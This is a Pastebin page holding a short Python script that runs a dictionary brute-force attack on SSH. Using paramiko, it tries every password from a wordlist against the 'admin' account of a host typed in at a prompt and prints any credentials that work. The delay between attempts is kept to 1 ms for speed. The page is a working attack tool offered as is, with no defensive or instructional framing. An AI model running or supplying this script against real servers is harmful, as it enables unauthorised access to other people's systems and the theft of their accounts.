Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko
- import sys
- import time
- def sshConnection(target, password):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(target, port=22, username="admin", password=password, timeout=1)
- return True, password
- except Exception as e:
- return False, password
- finally:
- ssh.close()
- def main(target, password_file):
- try:
- with open(password_file, "r") as f:
- passwords = f.readlines()
- except FileNotFoundError:
- print(f"File {password_file} not found.")
- sys.exit(1)
- attempts = 0
- print("\n\tBrute forcing passwords from the file...\n")
- start_time = time.time()
- for password in passwords:
- password = password.strip()
- attempts += 1
- success, password_used = sshConnection(target, password)
- if success:
- print(f"\nAuthentication successful after {attempts} attempts.")
- print(f"Credentials: admin@{target} Password: {password_used}")
- break
- # Attempt to maintain high speed by minimizing delay, remove or adjust sleep if necessary
- time.sleep(0.001) # Sleep for 1ms, adjust as needed based on practical performance
- end_time = time.time()
- print(f"\nCompleted in {end_time - start_time} seconds with {attempts} attempts.")
- if __name__ == "__main__":
- print("\n\tDictionary brute force attack on SSH services")
- print("\t---------------------------------------------\n\n")
- target = input(" > Enter target host address to connect to: ")
- password_file = input(" > Enter the filename of the password list: ")
- main(target, password_file)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement